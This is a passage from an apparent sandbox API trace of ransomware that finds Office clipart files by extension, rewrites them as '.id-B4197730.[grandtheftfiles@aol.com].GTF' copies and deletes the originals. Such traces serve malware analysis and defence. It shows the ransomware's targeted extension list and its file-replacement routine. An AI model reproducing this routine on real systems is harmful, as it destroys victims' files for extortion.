	[0169.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.049] lstrlenW (lpString=".ppt") returned 4
	[0169.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.050] lstrlenW (lpString=".zip") returned 4
	[0169.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.050] lstrlenW (lpString=".rar") returned 4
	[0169.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.050] lstrlenW (lpString=".bz2") returned 4
	[0169.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.050] lstrlenW (lpString=".7z") returned 3
	[0169.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.050] lstrlenW (lpString=".dbf") returned 4
	[0169.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.050] lstrlenW (lpString=".1cd") returned 4
	[0169.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.050] lstrlenW (lpString=".jpg") returned 4
	[0169.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.050] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.050] lstrlenW (lpString="J0107302.WMF") returned 12
	[0169.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.051] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4136) returned 1
	[0169.051] CloseHandle (hObject=0x45c) returned 1
	[0169.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220
	[0169.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.052] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.052] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.052] GetLastError () returned 0x0
	[0169.052] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1028, lpOverlapped=0x0) returned 1
	[0169.054] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1030, lpOverlapped=0x0) returned 1
	[0169.055] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.055] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.055] SetEndOfFile (hFile=0x550) returned 1
	[0169.055] CloseHandle (hObject=0x550) returned 1
	[0169.055] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.056] SetEndOfFile (hFile=0x45c) returned 1
	[0169.059] CloseHandle (hObject=0x45c) returned 1
	[0169.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString=".doc") returned 4
	[0169.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString=".docx") returned 5
	[0169.060] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.060] lstrlenW (lpString=".pdf") returned 4
	[0169.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString=".xls") returned 4
	[0169.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.060] lstrlenW (lpString=".xlsx") returned 5
	[0169.060] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.060] lstrlenW (lpString=".ppt") returned 4
	[0169.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString=".zip") returned 4
	[0169.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.060] lstrlenW (lpString=".rar") returned 4
	[0169.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString=".bz2") returned 4
	[0169.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString=".7z") returned 3
	[0169.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString=".dbf") returned 4
	[0169.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString=".1cd") returned 4
	[0169.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.060] lstrlenW (lpString=".jpg") returned 4
	[0169.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString=".doc") returned 4
	[0169.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".docx") returned 5
	[0169.061] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.061] lstrlenW (lpString=".pdf") returned 4
	[0169.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".xls") returned 4
	[0169.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.061] lstrlenW (lpString=".xlsx") returned 5
	[0169.061] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.061] lstrlenW (lpString=".ppt") returned 4
	[0169.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString=".zip") returned 4
	[0169.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.061] lstrlenW (lpString=".rar") returned 4
	[0169.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".bz2") returned 4
	[0169.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".7z") returned 3
	[0169.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString=".dbf") returned 4
	[0169.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString=".1cd") returned 4
	[0169.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0169.061] lstrlenW (lpString=".jpg") returned 4
	[0169.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.062] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.062] lstrlenW (lpString="J0107308.WMF") returned 12
	[0169.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.062] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15888) returned 1
	[0169.062] CloseHandle (hObject=0x45c) returned 1
	[0169.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220
	[0169.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.063] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.063] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.063] GetLastError () returned 0x0
	[0169.063] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3e10, lpOverlapped=0x0) returned 1
	[0169.065] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3e20, lpOverlapped=0x0) returned 1
	[0169.066] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.067] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.067] SetEndOfFile (hFile=0x550) returned 1
	[0169.067] CloseHandle (hObject=0x550) returned 1
	[0169.067] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.067] SetEndOfFile (hFile=0x45c) returned 1
	[0169.069] CloseHandle (hObject=0x45c) returned 1
	[0169.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1
	[0169.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString=".doc") returned 4
	[0169.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString=".docx") returned 5
	[0169.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.071] lstrlenW (lpString=".pdf") returned 4
	[0169.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString=".xls") returned 4
	[0169.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.071] lstrlenW (lpString=".xlsx") returned 5
	[0169.071] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.071] lstrlenW (lpString=".ppt") returned 4
	[0169.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString=".zip") returned 4
	[0169.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.071] lstrlenW (lpString=".rar") returned 4
	[0169.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString=".bz2") returned 4
	[0169.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString=".7z") returned 3
	[0169.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString=".dbf") returned 4
	[0169.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString=".1cd") returned 4
	[0169.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString=".jpg") returned 4
	[0169.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.072] lstrlenW (lpString=".doc") returned 4
	[0169.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString=".docx") returned 5
	[0169.072] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.072] lstrlenW (lpString=".pdf") returned 4
	[0169.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString=".xls") returned 4
	[0169.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.072] lstrlenW (lpString=".xlsx") returned 5
	[0169.072] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.072] lstrlenW (lpString=".ppt") returned 4
	[0169.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.072] lstrlenW (lpString=".zip") returned 4
	[0169.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.072] lstrlenW (lpString=".rar") returned 4
	[0169.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString=".bz2") returned 4
	[0169.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString=".7z") returned 3
	[0169.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.072] lstrlenW (lpString=".dbf") returned 4
	[0169.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.072] lstrlenW (lpString=".1cd") returned 4
	[0169.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0169.072] lstrlenW (lpString=".jpg") returned 4
	[0169.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.072] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.073] lstrlenW (lpString="J0107314.WMF") returned 12
	[0169.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.074] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10852) returned 1
	[0169.074] CloseHandle (hObject=0x45c) returned 1
	[0169.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220
	[0169.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.075] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.075] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.075] GetLastError () returned 0x0
	[0169.075] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2a64, lpOverlapped=0x0) returned 1
	[0169.352] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2a70, lpOverlapped=0x0) returned 1
	[0169.353] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.353] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.353] SetEndOfFile (hFile=0x550) returned 1
	[0169.354] CloseHandle (hObject=0x550) returned 1
	[0169.354] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.354] SetEndOfFile (hFile=0x45c) returned 1
	[0169.357] CloseHandle (hObject=0x45c) returned 1
	[0169.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1
	[0169.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.358] lstrlenW (lpString=".doc") returned 4
	[0169.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.358] lstrlenW (lpString=".docx") returned 5
	[0169.359] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.359] lstrlenW (lpString=".pdf") returned 4
	[0169.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString=".xls") returned 4
	[0169.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.359] lstrlenW (lpString=".xlsx") returned 5
	[0169.359] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.359] lstrlenW (lpString=".ppt") returned 4
	[0169.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.359] lstrlenW (lpString=".zip") returned 4
	[0169.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.359] lstrlenW (lpString=".rar") returned 4
	[0169.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString=".bz2") returned 4
	[0169.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString=".7z") returned 3
	[0169.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.359] lstrlenW (lpString=".dbf") returned 4
	[0169.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.359] lstrlenW (lpString=".1cd") returned 4
	[0169.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString=".jpg") returned 4
	[0169.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString=".doc") returned 4
	[0169.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString=".docx") returned 5
	[0169.360] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.360] lstrlenW (lpString=".pdf") returned 4
	[0169.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString=".xls") returned 4
	[0169.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.360] lstrlenW (lpString=".xlsx") returned 5
